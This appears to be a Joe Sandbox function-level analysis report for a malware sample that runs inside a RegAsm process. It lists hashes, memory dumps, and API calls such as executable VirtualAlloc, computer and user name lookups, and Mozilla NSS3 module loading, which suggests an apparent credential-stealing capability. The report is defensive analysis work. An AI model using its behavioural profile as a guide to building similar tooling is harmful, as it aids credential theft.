Opcode ID: 1bb70f0f7b802db361104b8de629577cdd17b6d15550e8d3a417d2542ba31408
Instruction ID: fa4c7b04dc1bb1edeb240a941fc638acc8c20e4742db631e424c44125528f59d
Opcode Fuzzy Hash: 1bb70f0f7b802db361104b8de629577cdd17b6d15550e8d3a417d2542ba31408
Instruction Fuzzy Hash: 68716271911108ABDB04FBA1DD92DEE7339BF14314F40452EF506A7091EF386A99CBAA

Function 00406660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406DBE,00406DBE,00003000,00000040), ref: 00406706
VirtualAlloc.KERNEL32(00000000,00406DBE,00003000,00000040), ref: 00406753

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction ID: cfb135ee3c51d7510548447878d0c09a9e1e3ef004be55e97ea32f204b2e5fca
Opcode Fuzzy Hash: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction Fuzzy Hash: B741EE74A00209EFCB44CF58C494BADBBB1FF44314F1486A9E95AAB385C735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416A1C), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416A1C), ref: 004010F7

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Function 00418D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c36cdc7e8858c8a68b3969eb20504a02303c837a2aa8bea8de9441652dc409ce
Instruction ID: c33170cd47b5ddaf33f3bd529e3e9bd0b8526aec605854159e3974d419e7fdd8
Opcode Fuzzy Hash: c36cdc7e8858c8a68b3969eb20504a02303c837a2aa8bea8de9441652dc409ce
Instruction Fuzzy Hash: C0F01574C00208EBCB00EFA4E5496DDBB74EB11324F10819EE826673C0DB796A96DB89

Function 00418DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 1937b3016abb1116ad25b1de693048e6b8ebbf2c452a4d5410bd6c9fe56c08f2
Instruction ID: e82dd92a107a558878b8aedbded484b2d7625ea591a662ceffa58b28bb8b597d
Opcode Fuzzy Hash: 1937b3016abb1116ad25b1de693048e6b8ebbf2c452a4d5410bd6c9fe56c08f2
Instruction Fuzzy Hash: EEE01A75A4034C7BDB91EB90CC96FEE737CDB44B11F004299BA0C5A1C0DE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction ID: 3272f285758621328f1ae990cc0b7bdad84480bea6fe4891c0ce75a2ed71569b
Opcode Fuzzy Hash: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction Fuzzy Hash: 72E0C2B999030123DB0433F2AD0AB6B329D5B0538DF04042EFA08D2252FE2CE84085AE

Function 00409880 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,00410759,?,?), ref: 00409888

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction ID: cd962e32a7d49cb5ce85c4f0a2f24118ebc1676ac18b43bdebb71eb25e5ca396
Opcode Fuzzy Hash: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction Fuzzy Hash: C8F054B5D10208FBDB00EFA4D846B9EBBB4EB08300F1084A9E905A7381E6749B14CB95

Non-executed Functions

Function 6C426E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C572120,6C427E60), ref: 6C426EBC
TlsGetValue.KERNEL32 ref: 6C426EDF
EnterCriticalSection.KERNEL32(?), ref: 6C426EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C426F25

Part of subcall function 6C3FA900: TlsGetValue.KERNEL32(00000000,?,6C5714E4,?,6C394DD9), ref: 6C3FA90F
Part of subcall function 6C3FA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C3FA94F

PR_Unlock.NSS3 ref: 6C426F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C426FA9
TlsGetValue.KERNEL32 ref: 6C4270B4
EnterCriticalSection.KERNEL32(?), ref: 6C4270C8
PR_CallOnce.NSS3(6C5724C0,6C467590), ref: 6C427104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C427117
SECOID_Init.NSS3 ref: 6C427128
PORT_Alloc_Util.NSS3(00000057), ref: 6C42714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C42717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4271A9
PR_NotifyAllCondVar.NSS3 ref: 6C4271CF
PR_Unlock.NSS3 ref: 6C4271DD
free.MOZGLUE(?), ref: 6C4271EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C427208
free.MOZGLUE(00000000), ref: 6C427221
free.MOZGLUE(00000001), ref: 6C427235
TlsGetValue.KERNEL32 ref: 6C42724A
EnterCriticalSection.KERNEL32(?), ref: 6C42725E
PR_NotifyCondVar.NSS3 ref: 6C427273
PR_Unlock.NSS3 ref: 6C427281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C427291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4272B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4272D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4272E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C427301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C427310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C427335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C427344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C427363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C427372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C560148,,defaultModDB,internalKeySlot), ref: 6C4274CC
free.MOZGLUE(00000000), ref: 6C427513
free.MOZGLUE(00000000), ref: 6C42751B
free.MOZGLUE(00000000), ref: 6C427528
free.MOZGLUE(00000000), ref: 6C42753C
free.MOZGLUE(00000000), ref: 6C427550
free.MOZGLUE(00000000), ref: 6C427561
free.MOZGLUE(00000000), ref: 6C427572
free.MOZGLUE(00000000), ref: 6C427583
free.MOZGLUE(00000000), ref: 6C427594
free.MOZGLUE(00000000), ref: 6C4275A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C4275BD
free.MOZGLUE(00000000), ref: 6C4275C8
free.MOZGLUE(00000000), ref: 6C4275F1
PR_NewLock.NSS3 ref: 6C427636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C427686
PR_NewLock.NSS3 ref: 6C4276A2

Part of subcall function 6C4D98D0: calloc.MOZGLUE(00000001,00000084,6C400936,00000001,?,6C40102C), ref: 6C4D98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C4276B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C427707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C42771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C427731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C42774A
DeleteCriticalSection.KERNEL32(?), ref: 6C427770
free.MOZGLUE(?), ref: 6C427779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C42779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4277AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C4277C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4277DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C427821
PORT_Alloc_Util.NSS3(?), ref: 6C427837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C42785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C42786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C4278AC
free.MOZGLUE(00000000), ref: 6C4278BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C4278F3
free.MOZGLUE(00000000), ref: 6C4278FC
free.MOZGLUE(00000000), ref: 6C42791C

Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007AD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007CD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007D6
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C39204A), ref: 6C4007E4
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,6C39204A), ref: 6C400864
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C400880
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,6C39204A), ref: 6C4008CB
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008D7
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008FB

Strings

kbi., xrefs: 6C427886
dll, xrefs: 6C42788E
extern:, xrefs: 6C42772B
dbm:, xrefs: 6C427716
rdb:, xrefs: 6C427744
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C4274C7
Spac, xrefs: 6C427389
NSS Internal Module, xrefs: 6C4274A2, 6C4274C6
,defaultModDB,internalKeySlot, xrefs: 6C42748D, 6C4274AA
sql:, xrefs: 6C4276FE

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 2b478faf479691105c28521a3d73aa1bc59c47f9397cd7a003ee3e85a243a7e3
Instruction ID: d0aa1aff55ce27acb68e009923162c1ac5fd546ced7b0f5f94b64134415a8293
Opcode Fuzzy Hash: 2b478faf479691105c28521a3d73aa1bc59c47f9397cd7a003ee3e85a243a7e3
Instruction Fuzzy Hash: 3E521FB0E05211DBEF11DF64CC06FAA7BB4BF05309F154028EC09A6B51E778E958CBA6

Function 6C474840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C45601B,?,00000000,?), ref: 6C47486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6C4748A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6C4748BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6C4748DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6C4748F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6C47490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6C474919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6C47493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C474970
PORT_Alloc_Util.NSS3(00000001), ref: 6C4749A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C4749AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4749D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6C4749F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6C474A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6C474A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6C474A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6C474A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6C474A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6C474A81
free.MOZGLUE(00000000), ref: 6C474AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C474ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6C474ADC
free.MOZGLUE(00000000), ref: 6C474B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C474B33

Part of subcall function 6C474120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C47413D
Part of subcall function 6C474120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C474162
Part of subcall function 6C474120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C47416B
Part of subcall function 6C474120: PL_strncasecmp.NSS3(2BGl,?,00000001), ref: 6C474187
Part of subcall function 6C474120: NSSUTIL_ArgSkipParameter.NSS3(2BGl), ref: 6C4741A0
Part of subcall function 6C474120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4741B4
Part of subcall function 6C474120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6C4741CC
Part of subcall function 6C474120: NSSUTIL_ArgFetchValue.NSS3(2BGl,?), ref: 6C474203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6C474B53
free.MOZGLUE(00000000), ref: 6C474B94
free.MOZGLUE(?), ref: 6C474BA7
free.MOZGLUE(00000000), ref: 6C474BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C474BC8

Strings

rootFlags, xrefs: 6C474AB9, 6C474B2E
hasRootTrust, xrefs: 6C474B4D
timeout, xrefs: 6C474A38, 6C474A7B
every, xrefs: 6C474A66
slotFlags, xrefs: 6C474A22
hasRootCerts, xrefs: 6C474AD6
